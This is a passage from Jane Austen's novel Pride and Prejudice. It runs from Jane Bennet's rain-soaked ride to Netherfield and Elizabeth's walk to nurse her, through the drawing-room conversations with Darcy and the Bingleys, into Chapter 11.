but the gentlemen will have Mr. Bingley's chaise to go to Meryton, +and the Hursts have no horses to theirs." + +"I had much rather go in the coach." + +"But, my dear, your father cannot spare the horses, I am sure. They are +wanted in the farm, Mr. Bennet, are they not?" + +"They are wanted in the farm much oftener than I can get them." + +"But if you have got them to-day," said Elizabeth, "my mother's purpose +will be answered." + +She did at last extort from her father an acknowledgment that the horses +were engaged. Jane was therefore obliged to go on horseback, and her +mother attended her to the door with many cheerful prognostics of a +bad day. Her hopes were answered; Jane had not been gone long before +it rained hard. Her sisters were uneasy for her, but her mother was +delighted. The rain continued the whole evening without intermission; +Jane certainly could not come back. + +"This was a lucky idea of mine, indeed!" said Mrs. Bennet more than +once, as if the credit of making it rain were all her own. Till the +next morning, however, she was not aware of all the felicity of her +contrivance. Breakfast was scarcely over when a servant from Netherfield +brought the following note for Elizabeth: + +"MY DEAREST LIZZY,-- + +"I find myself very unwell this morning, which, I suppose, is to be +imputed to my getting wet through yesterday. My kind friends will not +hear of my returning till I am better. They insist also on my seeing Mr. +Jones--therefore do not be alarmed if you should hear of his having been +to me--and, excepting a sore throat and headache, there is not much the +matter with me.--Yours, etc." + +"Well, my dear," said Mr. Bennet, when Elizabeth had read the note +aloud, "if your daughter should have a dangerous fit of illness--if she +should die, it would be a comfort to know that it was all in pursuit of +Mr. Bingley, and under your orders." + +"Oh! I am not afraid of her dying. People do not die of little trifling +colds. She will be taken good care of. As long as she stays there, it is +all very well. I would go and see her if I could have the carriage." + +Elizabeth, feeling really anxious, was determined to go to her, though +the carriage was not to be had; and as she was no horsewoman, walking +was her only alternative. She declared her resolution. + +"How can you be so silly," cried her mother, "as to think of such a +thing, in all this dirt! You will not be fit to be seen when you get +there." + +"I shall be very fit to see Jane--which is all I want." + +"Is this a hint to me, Lizzy," said her father, "to send for the +horses?" + +"No, indeed, I do not wish to avoid the walk. The distance is nothing +when one has a motive; only three miles. I shall be back by dinner." + +"I admire the activity of your benevolence," observed Mary, "but every +impulse of feeling should be guided by reason; and, in my opinion, +exertion should always be in proportion to what is required." + +"We will go as far as Meryton with you," said Catherine and Lydia. +Elizabeth accepted their company, and the three young ladies set off +together. + +"If we make haste," said Lydia, as they walked along, "perhaps we may +see something of Captain Carter before he goes." + +In Meryton they parted; the two youngest repaired to the lodgings of one +of the officers' wives, and Elizabeth continued her walk alone, crossing +field after field at a quick pace, jumping over stiles and springing +over puddles with impatient activity, and finding herself at last +within view of the house, with weary ankles, dirty stockings, and a face +glowing with the warmth of exercise. + +She was shown into the breakfast-parlour, where all but Jane were +assembled, and where her appearance created a great deal of surprise. +That she should have walked three miles so early in the day, in such +dirty weather, and by herself, was almost incredible to Mrs. Hurst and +Miss Bingley; and Elizabeth was convinced that they held her in contempt +for it. She was received, however, very politely by them; and in their +brother's manners there was something better than politeness; there +was good humour and kindness. Mr. Darcy said very little, and Mr. +Hurst nothing at all. The former was divided between admiration of the +brilliancy which exercise had given to her complexion, and doubt as +to the occasion's justifying her coming so far alone. The latter was +thinking only of his breakfast. + +Her inquiries after her sister were not very favourably answered. Miss +Bennet had slept ill, and though up, was very feverish, and not +well enough to leave her room. Elizabeth was glad to be taken to her +immediately; and Jane, who had only been withheld by the fear of giving +alarm or inconvenience from expressing in her note how much she longed +for such a visit, was delighted at her entrance. She was not equal, +however, to much conversation, and when Miss Bingley left them +together, could attempt little besides expressions of gratitude for the +extraordinary kindness she was treated with. Elizabeth silently attended +her. + +When breakfast was over they were joined by the sisters; and Elizabeth +began to like them herself, when she saw how much affection and +solicitude they showed for Jane. The apothecary came, and having +examined his patient, said, as might be supposed, that she had caught +a violent cold, and that they must endeavour to get the better of it; +advised her to return to bed, and promised her some draughts. The advice +was followed readily, for the feverish symptoms increased, and her head +ached acutely. Elizabeth did not quit her room for a moment; nor were +the other ladies often absent; the gentlemen being out, they had, in +fact, nothing to do elsewhere. + +When the clock struck three, Elizabeth felt that she must go, and very +unwillingly said so. Miss Bingley offered her the carriage, and she only +wanted a little pressing to accept it, when Jane testified such concern +in parting with her, that Miss Bingley was obliged to convert the offer +of the chaise to an invitation to remain at Netherfield for the present. +Elizabeth most thankfully consented, and a servant was dispatched to +Longbourn to acquaint the family with her stay and bring back a supply +of clothes. + + + +Chapter 8 + + +At five o'clock the two ladies retired to dress, and at half-past six +Elizabeth was summoned to dinner. To the civil inquiries which then +poured in, and amongst which she had the pleasure of distinguishing the +much superior solicitude of Mr. Bingley's, she could not make a very +favourable answer. Jane was by no means better. The sisters, on hearing +this, repeated three or four times how much they were grieved, how +shocking it was to have a bad cold, and how excessively they disliked +being ill themselves; and then thought no more of the matter: and their +indifference towards Jane when not immediately before them restored +Elizabeth to the enjoyment of all her former dislike. + +Their brother, indeed, was the only one of the party whom she could +regard with any complacency. His anxiety for Jane was evident, and his +attentions to herself most pleasing, and they prevented her feeling +herself so much an intruder as she believed she was considered by the +others. She had very little notice from any but him. Miss Bingley was +engrossed by Mr. Darcy, her sister scarcely less so; and as for Mr. +Hurst, by whom Elizabeth sat, he was an indolent man, who lived only to +eat, drink, and play at cards; who, when he found her to prefer a plain +dish to a ragout, had nothing to say to her. + +When dinner was over, she returned directly to Jane, and Miss Bingley +began abusing her as soon as she was out of the room. Her manners were +pronounced to be very bad indeed, a mixture of pride and impertinence; +she had no conversation, no style, no beauty. Mrs. Hurst thought the +same, and added: + +"She has nothing, in short, to recommend her, but being an excellent +walker. I shall never forget her appearance this morning. She really +looked almost wild." + +"She did, indeed, Louisa. I could hardly keep my countenance. Very +nonsensical to come at all! Why must _she_ be scampering about the +country, because her sister had a cold? Her hair, so untidy, so blowsy!" + +"Yes, and her petticoat; I hope you saw her petticoat, six inches deep +in mud, I am absolutely certain; and the gown which had been let down to +hide it not doing its office." + +"Your picture may be very exact, Louisa," said Bingley; "but this was +all lost upon me. I thought Miss Elizabeth Bennet looked remarkably +well when she came into the room this morning. Her dirty petticoat quite +escaped my notice." + +"_You_ observed it, Mr. Darcy, I am sure," said Miss Bingley; "and I am +inclined to think that you would not wish to see _your_ sister make such +an exhibition." + +"Certainly not." + +"To walk three miles, or four miles, or five miles, or whatever it is, +above her ankles in dirt, and alone, quite alone! What could she mean by +it? It seems to me to show an abominable sort of conceited independence, +a most country-town indifference to decorum." + +"It shows an affection for her sister that is very pleasing," said +Bingley. + +"I am afraid, Mr. Darcy," observed Miss Bingley in a half whisper, "that +this adventure has rather affected your admiration of her fine eyes." + +"Not at all," he replied; "they were brightened by the exercise." A +short pause followed this speech, and Mrs. Hurst began again: + +"I have an excessive regard for Miss Jane Bennet, she is really a very +sweet girl, and I wish with all my heart she were well settled. But with +such a father and mother, and such low connections, I am afraid there is +no chance of it." + +"I think I have heard you say that their uncle is an attorney in +Meryton." + +"Yes; and they have another, who lives somewhere near Cheapside." + +"That is capital," added her sister, and they both laughed heartily. + +"If they had uncles enough to fill _all_ Cheapside," cried Bingley, "it +would not make them one jot less agreeable." + +"But it must very materially lessen their chance of marrying men of any +consideration in the world," replied Darcy. + +To this speech Bingley made no answer; but his sisters gave it their +hearty assent, and indulged their mirth for some time at the expense of +their dear friend's vulgar relations. + +With a renewal of tenderness, however, they returned to her room on +leaving the dining-parlour, and sat with her till summoned to coffee. +She was still very poorly, and Elizabeth would not quit her at all, till +late in the evening, when she had the comfort of seeing her sleep, and +when it seemed to her rather right than pleasant that she should go +downstairs herself. On entering the drawing-room she found the whole +party at loo, and was immediately invited to join them; but suspecting +them to be playing high she declined it, and making her sister the +excuse, said she would amuse herself for the short time she could stay +below, with a book. Mr. Hurst looked at her with astonishment. + +"Do you prefer reading to cards?" said he; "that is rather singular." + +"Miss Eliza Bennet," said Miss Bingley, "despises cards. She is a great +reader, and has no pleasure in anything else." + +"I deserve neither such praise nor such censure," cried Elizabeth; "I am +_not_ a great reader, and I have pleasure in many things." + +"In nursing your sister I am sure you have pleasure," said Bingley; "and +I hope it will be soon increased by seeing her quite well." + +Elizabeth thanked him from her heart, and then walked towards the +table where a few books were lying. He immediately offered to fetch her +others--all that his library afforded. + +"And I wish my collection were larger for your benefit and my own +credit; but I am an idle fellow, and though I have not many, I have more +than I ever looked into." + +Elizabeth assured him that she could suit herself perfectly with those +in the room. + +"I am astonished," said Miss Bingley, "that my father should have left +so small a collection of books. What a delightful library you have at +Pemberley, Mr. Darcy!" + +"It ought to be good," he replied, "it has been the work of many +generations." + +"And then you have added so much to it yourself, you are always buying +books." + +"I cannot comprehend the neglect of a family library in such days as +these." + +"Neglect! I am sure you neglect nothing that can add to the beauties of +that noble place. Charles, when you build _your_ house, I wish it may be +half as delightful as Pemberley." + +"I wish it may." + +"But I would really advise you to make your purchase in that +neighbourhood, and take Pemberley for a kind of model. There is not a +finer county in England than Derbyshire." + +"With all my heart; I will buy Pemberley itself if Darcy will sell it." + +"I am talking of possibilities, Charles." + +"Upon my word, Caroline, I should think it more possible to get +Pemberley by purchase than by imitation." + +Elizabeth was so much caught with what passed, as to leave her very +little attention for her book; and soon laying it wholly aside, she drew +near the card-table, and stationed herself between Mr. Bingley and his +eldest sister, to observe the game. + +"Is Miss Darcy much grown since the spring?" said Miss Bingley; "will +she be as tall as I am?" + +"I think she will. She is now about Miss Elizabeth Bennet's height, or +rather taller." + +"How I long to see her again! I never met with anybody who delighted me +so much. Such a countenance, such manners! And so extremely accomplished +for her age! Her performance on the pianoforte is exquisite." + +"It is amazing to me," said Bingley, "how young ladies can have patience +to be so very accomplished as they all are." + +"All young ladies accomplished! My dear Charles, what do you mean?" + +"Yes, all of them, I think. They all paint tables, cover screens, and +net purses. I scarcely know anyone who cannot do all this, and I am sure +I never heard a young lady spoken of for the first time, without being +informed that she was very accomplished." + +"Your list of the common extent of accomplishments," said Darcy, "has +too much truth. The word is applied to many a woman who deserves it no +otherwise than by netting a purse or covering a screen. But I am very +far from agreeing with you in your estimation of ladies in general. I +cannot boast of knowing more than half-a-dozen, in the whole range of my +acquaintance, that are really accomplished." + +"Nor I, I am sure," said Miss Bingley. + +"Then," observed Elizabeth, "you must comprehend a great deal in your +idea of an accomplished woman." + +"Yes, I do comprehend a great deal in it." + +"Oh! certainly," cried his faithful assistant, "no one can be really +esteemed accomplished who does not greatly surpass what is usually met +with. A woman must have a thorough knowledge of music, singing, drawing, +dancing, and the modern languages, to deserve the word; and besides +all this, she must possess a certain something in her air and manner of +walking, the tone of her voice, her address and expressions, or the word +will be but half-deserved." + +"All this she must possess," added Darcy, "and to all this she must +yet add something more substantial, in the improvement of her mind by +extensive reading." + +"I am no longer surprised at your knowing _only_ six accomplished women. +I rather wonder now at your knowing _any_." + +"Are you so severe upon your own sex as to doubt the possibility of all +this?" + +"I never saw such a woman. I never saw such capacity, and taste, and +application, and elegance, as you describe united." + +Mrs. Hurst and Miss Bingley both cried out against the injustice of her +implied doubt, and were both protesting that they knew many women who +answered this description, when Mr. Hurst called them to order, with +bitter complaints of their inattention to what was going forward. As all +conversation was thereby at an end, Elizabeth soon afterwards left the +room. + +"Elizabeth Bennet," said Miss Bingley, when the door was closed on her, +"is one of those young ladies who seek to recommend themselves to the +other sex by undervaluing their own; and with many men, I dare say, it +succeeds. But, in my opinion, it is a paltry device, a very mean art." + +"Undoubtedly," replied Darcy, to whom this remark was chiefly addressed, +"there is a meanness in _all_ the arts which ladies sometimes condescend +to employ for captivation. Whatever bears affinity to cunning is +despicable." + +Miss Bingley was not so entirely satisfied with this reply as to +continue the subject. + +Elizabeth joined them again only to say that her sister was worse, and +that she could not leave her. Bingley urged Mr. Jones being sent for +immediately; while his sisters, convinced that no country advice could +be of any service, recommended an express to town for one of the most +eminent physicians. This she would not hear of; but she was not so +unwilling to comply with their brother's proposal; and it was settled +that Mr. Jones should be sent for early in the morning, if Miss Bennet +were not decidedly better. Bingley was quite uncomfortable; his sisters +declared that they were miserable. They solaced their wretchedness, +however, by duets after supper, while he could find no better relief +to his feelings than by giving his housekeeper directions that every +attention might be paid to the sick lady and her sister. + + + +Chapter 9 + + +Elizabeth passed the chief of the night in her sister's room, and in the +morning had the pleasure of being able to send a tolerable answer to the +inquiries which she very early received from Mr. Bingley by a housemaid, +and some time afterwards from the two elegant ladies who waited on his +sisters. In spite of this amendment, however, she requested to have a +note sent to Longbourn, desiring her mother to visit Jane, and form her +own judgement of her situation. The note was immediately dispatched, and +its contents as quickly complied with. Mrs. Bennet, accompanied by her +two youngest girls, reached Netherfield soon after the family breakfast. + +Had she found Jane in any apparent danger, Mrs. Bennet would have been +very miserable; but being satisfied on seeing her that her illness was +not alarming, she had no wish of her recovering immediately, as her +restoration to health would probably remove her from Netherfield. She +would not listen, therefore, to her daughter's proposal of being carried +home; neither did the apothecary, who arrived about the same time, think +it at all advisable. After sitting a little while with Jane, on Miss +Bingley's appearance and invitation, the mother and three daughters all +attended her into the breakfast parlour. Bingley met them with hopes +that Mrs. Bennet had not found Miss Bennet worse than she expected. + +"Indeed I have, sir," was her answer. "She is a great deal too ill to be +moved. Mr. Jones says we must not think of moving her. We must trespass +a little longer on your kindness." + +"Removed!" cried Bingley. "It must not be thought of. My sister, I am +sure, will not hear of her removal." + +"You may depend upon it, Madam," said Miss Bingley, with cold civility, +"that Miss Bennet will receive every possible attention while she +remains with us." + +Mrs. Bennet was profuse in her acknowledgments. + +"I am sure," she added, "if it was not for such good friends I do not +know what would become of her, for she is very ill indeed, and suffers +a vast deal, though with the greatest patience in the world, which is +always the way with her, for she has, without exception, the sweetest +temper I have ever met with. I often tell my other girls they are +nothing to _her_. You have a sweet room here, Mr. Bingley, and a +charming prospect over the gravel walk. I do not know a place in the +country that is equal to Netherfield. You will not think of quitting it +in a hurry, I hope, though you have but a short lease." + +"Whatever I do is done in a hurry," replied he; "and therefore if I +should resolve to quit Netherfield, I should probably be off in five +minutes. At present, however, I consider myself as quite fixed here." + +"That is exactly what I should have supposed of you," said Elizabeth. + +"You begin to comprehend me, do you?" cried he, turning towards her. + +"Oh! yes--I understand you perfectly." + +"I wish I might take this for a compliment; but to be so easily seen +through I am afraid is pitiful." + +"That is as it happens. It does not follow that a deep, intricate +character is more or less estimable than such a one as yours." + +"Lizzy," cried her mother, "remember where you are, and do not run on in +the wild manner that you are suffered to do at home." + +"I did not know before," continued Bingley immediately, "that you were a +studier of character. It must be an amusing study." + +"Yes, but intricate characters are the _most_ amusing. They have at +least that advantage." + +"The country," said Darcy, "can in general supply but a few subjects for +such a study. In a country neighbourhood you move in a very confined and +unvarying society." + +"But people themselves alter so much, that there is something new to be +observed in them for ever." + +"Yes, indeed," cried Mrs. Bennet, offended by his manner of mentioning +a country neighbourhood. "I assure you there is quite as much of _that_ +going on in the country as in town." + +Everybody was surprised, and Darcy, after looking at her for a moment, +turned silently away. Mrs. Bennet, who fancied she had gained a complete +victory over him, continued her triumph. + +"I cannot see that London has any great advantage over the country, for +my part, except the shops and public places. The country is a vast deal +pleasanter, is it not, Mr. Bingley?" + +"When I am in the country," he replied, "I never wish to leave it; +and when I am in town it is pretty much the same. They have each their +advantages, and I can be equally happy in either." + +"Aye--that is because you have the right disposition. But that +gentleman," looking at Darcy, "seemed to think the country was nothing +at all." + +"Indeed, Mamma, you are mistaken," said Elizabeth, blushing for her +mother. "You quite mistook Mr. Darcy. He only meant that there was not +such a variety of people to be met with in the country as in the town, +which you must acknowledge to be true." + +"Certainly, my dear, nobody said there were; but as to not meeting +with many people in this neighbourhood, I believe there are few +neighbourhoods larger. I know we dine with four-and-twenty families." + +Nothing but concern for Elizabeth could enable Bingley to keep his +countenance. His sister was less delicate, and directed her eyes towards +Mr. Darcy with a very expressive smile. Elizabeth, for the sake of +saying something that might turn her mother's thoughts, now asked her if +Charlotte Lucas had been at Longbourn since _her_ coming away. + +"Yes, she called yesterday with her father. What an agreeable man Sir +William is, Mr. Bingley, is not he? So much the man of fashion! So +genteel and easy! He has always something to say to everybody. _That_ +is my idea of good breeding; and those persons who fancy themselves very +important, and never open their mouths, quite mistake the matter." + +"Did Charlotte dine with you?" + +"No, she would go home. I fancy she was wanted about the mince-pies. For +my part, Mr. Bingley, I always keep servants that can do their own work; +_my_ daughters are brought up very differently. But everybody is to +judge for themselves, and the Lucases are a very good sort of girls, +I assure you. It is a pity they are not handsome! Not that I think +Charlotte so _very_ plain--but then she is our particular friend." + +"She seems a very pleasant young woman." + +"Oh! dear, yes; but you must own she is very plain. Lady Lucas herself +has often said so, and envied me Jane's beauty. I do not like to boast +of my own child, but to be sure, Jane--one does not often see anybody +better looking. It is what everybody says. I do not trust my own +partiality. When she was only fifteen, there was a man at my brother +Gardiner's in town so much in love with her that my sister-in-law was +sure he would make her an offer before we came away. But, however, he +did not. Perhaps he thought her too young. However, he wrote some verses +on her, and very pretty they were." + +"And so ended his affection," said Elizabeth impatiently. "There has +been many a one, I fancy, overcome in the same way. I wonder who first +discovered the efficacy of poetry in driving away love!" + +"I have been used to consider poetry as the _food_ of love," said Darcy. + +"Of a fine, stout, healthy love it may. Everything nourishes what is +strong already. But if it be only a slight, thin sort of inclination, I +am convinced that one good sonnet will starve it entirely away." + +Darcy only smiled; and the general pause which ensued made Elizabeth +tremble lest her mother should be exposing herself again. She longed to +speak, but could think of nothing to say; and after a short silence Mrs. +Bennet began repeating her thanks to Mr. Bingley for his kindness to +Jane, with an apology for troubling him also with Lizzy. Mr. Bingley was +unaffectedly civil in his answer, and forced his younger sister to be +civil also, and say what the occasion required. She performed her part +indeed without much graciousness, but Mrs. Bennet was satisfied, and +soon afterwards ordered her carriage. Upon this signal, the youngest of +her daughters put herself forward. The two girls had been whispering to +each other during the whole visit, and the result of it was, that the +youngest should tax Mr. Bingley with having promised on his first coming +into the country to give a ball at Netherfield. + +Lydia was a stout, well-grown girl of fifteen, with a fine complexion +and good-humoured countenance; a favourite with her mother, whose +affection had brought her into public at an early age. She had high +animal spirits, and a sort of natural self-consequence, which the +attention of the officers, to whom her uncle's good dinners, and her own +easy manners recommended her, had increased into assurance. She was very +equal, therefore, to address Mr. Bingley on the subject of the ball, and +abruptly reminded him of his promise; adding, that it would be the most +shameful thing in the world if he did not keep it. His answer to this +sudden attack was delightful to their mother's ear: + +"I am perfectly ready, I assure you, to keep my engagement; and when +your sister is recovered, you shall, if you please, name the very day of +the ball. But you would not wish to be dancing when she is ill." + +Lydia declared herself satisfied. "Oh! yes--it would be much better to +wait till Jane was well, and by that time most likely Captain Carter +would be at Meryton again. And when you have given _your_ ball," she +added, "I shall insist on their giving one also. I shall tell Colonel +Forster it will be quite a shame if he does not." + +Mrs. Bennet and her daughters then departed, and Elizabeth returned +instantly to Jane, leaving her own and her relations' behaviour to the +remarks of the two ladies and Mr. Darcy; the latter of whom, however, +could not be prevailed on to join in their censure of _her_, in spite of +all Miss Bingley's witticisms on _fine eyes_. + + + +Chapter 10 + + +The day passed much as the day before had done. Mrs. Hurst and Miss +Bingley had spent some hours of the morning with the invalid, who +continued, though slowly, to mend; and in the evening Elizabeth joined +their party in the drawing-room. The loo-table, however, did not appear. +Mr. Darcy was writing, and Miss Bingley, seated near him, was watching +the progress of his letter and repeatedly calling off his attention by +messages to his sister. Mr. Hurst and Mr. Bingley were at piquet, and +Mrs. Hurst was observing their game. + +Elizabeth took up some needlework, and was sufficiently amused in +attending to what passed between Darcy and his companion. The perpetual +commendations of the lady, either on his handwriting, or on the evenness +of his lines, or on the length of his letter, with the perfect unconcern +with which her praises were received, formed a curious dialogue, and was +exactly in union with her opinion of each. + +"How delighted Miss Darcy will be to receive such a letter!" + +He made no answer. + +"You write uncommonly fast." + +"You are mistaken. I write rather slowly." + +"How many letters you must have occasion to write in the course of a +year! Letters of business, too! How odious I should think them!" + +"It is fortunate, then, that they fall to my lot instead of yours." + +"Pray tell your sister that I long to see her." + +"I have already told her so once, by your desire." + +"I am afraid you do not like your pen. Let me mend it for you. I mend +pens remarkably well." + +"Thank you--but I always mend my own." + +"How can you contrive to write so even?" + +He was silent. + +"Tell your sister I am delighted to hear of her improvement on the harp; +and pray let her know that I am quite in raptures with her beautiful +little design for a table, and I think it infinitely superior to Miss +Grantley's." + +"Will you give me leave to defer your raptures till I write again? At +present I have not room to do them justice." + +"Oh! it is of no consequence. I shall see her in January. But do you +always write such charming long letters to her, Mr. Darcy?" + +"They are generally long; but whether always charming it is not for me +to determine." + +"It is a rule with me, that a person who can write a long letter with +ease, cannot write ill." + +"That will not do for a compliment to Darcy, Caroline," cried her +brother, "because he does _not_ write with ease. He studies too much for +words of four syllables. Do not you, Darcy?" + +"My style of writing is very different from yours." + +"Oh!" cried Miss Bingley, "Charles writes in the most careless way +imaginable. He leaves out half his words, and blots the rest." + +"My ideas flow so rapidly that I have not time to express them--by which +means my letters sometimes convey no ideas at all to my correspondents." + +"Your humility, Mr. Bingley," said Elizabeth, "must disarm reproof." + +"Nothing is more deceitful," said Darcy, "than the appearance of +humility. It is often only carelessness of opinion, and sometimes an +indirect boast." + +"And which of the two do you call _my_ little recent piece of modesty?" + +"The indirect boast; for you are really proud of your defects in +writing, because you consider them as proceeding from a rapidity of +thought and carelessness of execution, which, if not estimable, you +think at least highly interesting. The power of doing anything with +quickness is always prized much by the possessor, and often without any +attention to the imperfection of the performance. When you told Mrs. +Bennet this morning that if you ever resolved upon quitting Netherfield +you should be gone in five minutes, you meant it to be a sort of +panegyric, of compliment to yourself--and yet what is there so very +laudable in a precipitance which must leave very necessary business +undone, and can be of no real advantage to yourself or anyone else?" + +"Nay," cried Bingley, "this is too much, to remember at night all the +foolish things that were said in the morning. And yet, upon my honour, +I believe what I said of myself to be true, and I believe it at this +moment. At least, therefore, I did not assume the character of needless +precipitance merely to show off before the ladies." + +"I dare say you believed it; but I am by no means convinced that +you would be gone with such celerity. Your conduct would be quite as +dependent on chance as that of any man I know; and if, as you were +mounting your horse, a friend were to say, 'Bingley, you had better +stay till next week,' you would probably do it, you would probably not +go--and at another word, might stay a month." + +"You have only proved by this," cried Elizabeth, "that Mr. Bingley did +not do justice to his own disposition. You have shown him off now much +more than he did himself." + +"I am exceedingly gratified," said Bingley, "by your converting what my +friend says into a compliment on the sweetness of my temper. But I am +afraid you are giving it a turn which that gentleman did by no means +intend; for he would certainly think better of me, if under such a +circumstance I were to give a flat denial, and ride off as fast as I +could." + +"Would Mr. Darcy then consider the rashness of your original intentions +as atoned for by your obstinacy in adhering to it?" + +"Upon my word, I cannot exactly explain the matter; Darcy must speak for +himself." + +"You expect me to account for opinions which you choose to call mine, +but which I have never acknowledged. Allowing the case, however, to +stand according to your representation, you must remember, Miss Bennet, +that the friend who is supposed to desire his return to the house, and +the delay of his plan, has merely desired it, asked it without offering +one argument in favour of its propriety." + +"To yield readily--easily--to the _persuasion_ of a friend is no merit +with you." + +"To yield without conviction is no compliment to the understanding of +either." + +"You appear to me, Mr. Darcy, to allow nothing for the influence of +friendship and affection. A regard for the requester would often make +one readily yield to a request, without waiting for arguments to reason +one into it. I am not particularly speaking of such a case as you have +supposed about Mr. Bingley. We may as well wait, perhaps, till the +circumstance occurs before we discuss the discretion of his behaviour +thereupon. But in general and ordinary cases between friend and friend, +where one of them is desired by the other to change a resolution of no +very great moment, should you think ill of that person for complying +with the desire, without waiting to be argued into it?" + +"Will it not be advisable, before we proceed on this subject, to +arrange with rather more precision the degree of importance which is to +appertain to this request, as well as the degree of intimacy subsisting +between the parties?" + +"By all means," cried Bingley; "let us hear all the particulars, not +forgetting their comparative height and size; for that will have more +weight in the argument, Miss Bennet, than you may be aware of. I assure +you, that if Darcy were not such a great tall fellow, in comparison with +myself, I should not pay him half so much deference. I declare I do not +know a more awful object than Darcy, on particular occasions, and in +particular places; at his own house especially, and of a Sunday evening, +when he has nothing to do." + +Mr. Darcy smiled; but Elizabeth thought she could perceive that he was +rather offended, and therefore checked her laugh. Miss Bingley warmly +resented the indignity he had received, in an expostulation with her +brother for talking such nonsense. + +"I see your design, Bingley," said his friend. "You dislike an argument, +and want to silence this." + +"Perhaps I do. Arguments are too much like disputes. If you and Miss +Bennet will defer yours till I am out of the room, I shall be very +thankful; and then you may say whatever you like of me." + +"What you ask," said Elizabeth, "is no sacrifice on my side; and Mr. +Darcy had much better finish his letter." + +Mr. Darcy took her advice, and did finish his letter. + +When that business was over, he applied to Miss Bingley and Elizabeth +for an indulgence of some music. Miss Bingley moved with some alacrity +to the pianoforte; and, after a polite request that Elizabeth would lead +the way which the other as politely and more earnestly negatived, she +seated herself. + +Mrs. Hurst sang with her sister, and while they were thus employed, +Elizabeth could not help observing, as she turned over some music-books +that lay on the instrument, how frequently Mr. Darcy's eyes were fixed +on her. She hardly knew how to suppose that she could be an object of +admiration to so great a man; and yet that he should look at her +because he disliked her, was still more strange. She could only imagine, +however, at last that she drew his notice because there was something +more wrong and reprehensible, according to his ideas of right, than in +any other person present. The supposition did not pain her. She liked +him too little to care for his approbation. + +After playing some Italian songs, Miss Bingley varied the charm by +a lively Scotch air; and soon afterwards Mr. Darcy, drawing near +Elizabeth, said to her: + +"Do not you feel a great inclination, Miss Bennet, to seize such an +opportunity of dancing a reel?" + +She smiled, but made no answer. He repeated the question, with some +surprise at her silence. + +"Oh!" said she, "I heard you before, but I could not immediately +determine what to say in reply. You wanted me, I know, to say 'Yes,' +that you might have the pleasure of despising my taste; but I always +delight in overthrowing those kind of schemes, and cheating a person of +their premeditated contempt. I have, therefore, made up my mind to tell +you, that I do not want to dance a reel at all--and now despise me if +you dare." + +"Indeed I do not dare." + +Elizabeth, having rather expected to affront him, was amazed at his +gallantry; but there was a mixture of sweetness and archness in her +manner which made it difficult for her to affront anybody; and Darcy +had never been so bewitched by any woman as he was by her. He really +believed, that were it not for the inferiority of her connections, he +should be in some danger. + +Miss Bingley saw, or suspected enough to be jealous; and her great +anxiety for the recovery of her dear friend Jane received some +assistance from her desire of getting rid of Elizabeth. + +She often tried to provoke Darcy into disliking her guest, by talking of +their supposed marriage, and planning his happiness in such an alliance. + +"I hope," said she, as they were walking together in the shrubbery +the next day, "you will give your mother-in-law a few hints, when this +desirable event takes place, as to the advantage of holding her tongue; +and if you can compass it, do cure the younger girls of running after +officers. And, if I may mention so delicate a subject, endeavour to +check that little something, bordering on conceit and impertinence, +which your lady possesses." + +"Have you anything else to propose for my domestic felicity?" + +"Oh! yes. Do let the portraits of your uncle and aunt Phillips be placed +in the gallery at Pemberley. Put them next to your great-uncle the +judge. They are in the same profession, you know, only in different +lines. As for your Elizabeth's picture, you must not have it taken, for +what painter could do justice to those beautiful eyes?" + +"It would not be easy, indeed, to catch their expression, but their +colour and shape, and the eyelashes, so remarkably fine, might be +copied." + +At that moment they were met from another walk by Mrs. Hurst and +Elizabeth herself. + +"I did not know that you intended to walk," said Miss Bingley, in some +confusion, lest they had been overheard. + +"You used us abominably ill," answered Mrs. Hurst, "running away without +telling us that you were coming out." + +Then taking the disengaged arm of Mr. Darcy, she left Elizabeth to walk +by herself. The path just admitted three. Mr. Darcy felt their rudeness, +and immediately said: + +"This walk is not wide enough for our party. We had better go into the +avenue." + +But Elizabeth, who had not the least inclination to remain with them, +laughingly answered: + +"No, no; stay where you are. You are charmingly grouped, and appear +to uncommon advantage. The picturesque would be spoilt by admitting a +fourth. Good-bye." + +She then ran gaily off, rejoicing as she rambled about, in the hope of +being at home again in a day or two. Jane was already so much recovered +as to intend leaving her room for a couple of hours that evening. + + + +Chapter 11 + + +When the ladies removed after dinner, Elizabeth ran up to her +sister, and seeing her well guarded from cold, attended her into the +drawing-room, where she was welcomed by her two friends with many +professions of pleasure; and Elizabeth had never seen them so agreeable +as they were during the hour which passed before the gentlemen appeared. +Their powers of conversation were considerable. They could describe an +entertainment with accuracy, relate an anecdote with humour, and laugh +at their acquaintance with spirit. + +But when the gentlemen entered, Jane was no longer the first object; +Miss Bingley's eyes were instantly turned toward Darcy, and she had +something to say to him before he had advanced many steps. He addressed +himself to Miss Bennet, with a polite congratulation; Mr. Hurst also +made her a slight bow, and said he was "very glad;" but diffuseness +and warmth remained for Bingley's salutation. He was full of joy and +attention. The first half-hour was spent in piling up the fire, lest she +should suffer from the change of room; and she removed at his desire +to the other side of the fireplace, that she might be further from +the door. He then sat down by her, and talked scarcely to anyone +else. Elizabeth, at work in the opposite corner, saw it all with great +delight. + +When tea was over, Mr. Hurst reminded his sister-in-law of the +card-table--but in vain. She had obtained private intelligence that Mr. +Darcy did not wish for cards; and Mr. Hurst soon found even his open +petition rejected. She assured him that no one intended to play, and +the silence of the whole party on the subject seemed to justify her. Mr. +Hurst had therefore nothing to do, but to stretch himself on one of the +sofas and go to sleep. Darcy took up a book; Miss Bingley did the same; +and Mrs. Hurst, principally occupied in playing with her bracelets +and rings, joined now and then in her brother's conversation with Miss +Bennet. + +Miss Bingley's attention was quite as much engaged in watching Mr. +Darcy's progress through _his_ book, as in reading her own; and she +was perpetually either making some inquiry, or looking at his page. She +could not win him, however, to any conversation; he merely answered her +question, and read on. At length, quite exhausted by the attempt to be +amused with her own book, which she had only chosen because it was the +second volume of his, she gave a great yawn and said, "How pleasant +it is to spend an evening in this way! I declare after all there is no +enjoyment like reading! How much sooner one tires of anything than of a +book! When I have a house of my own, I shall be miserable if I have not +an excellent library." + +No one made any reply. She then yawned again, threw aside her book, and +cast her eyes round the room in quest for some amusement; when hearing +her brother mentioning a ball to Miss Bennet, she turned suddenly +towards him and said: + +"By the bye, Charles, are you really serious in meditating a dance at +Netherfield? I would advise you, before you determine on it, to consult +the wishes of the present party; I am much mistaken if there are +not some among us to whom a ball would be rather a punishment than a +pleasure." + +"If you mean Darcy," cried her brother, "he may go to bed, if he +chooses, before it begins--but as for the ball, it is quite a settled +thing; and as soon as Nicholls has made white soup enough, I shall send +round my cards." + +"I should like balls infinitely better," she replied, "if they were +carried on in a different manner; but there is something insufferably +tedious in the usual process of such a meeting. It would surely be much +more rational if conversation instead of dancing were made the order of +the day." + +"Much more rational, my dear Caroline, I 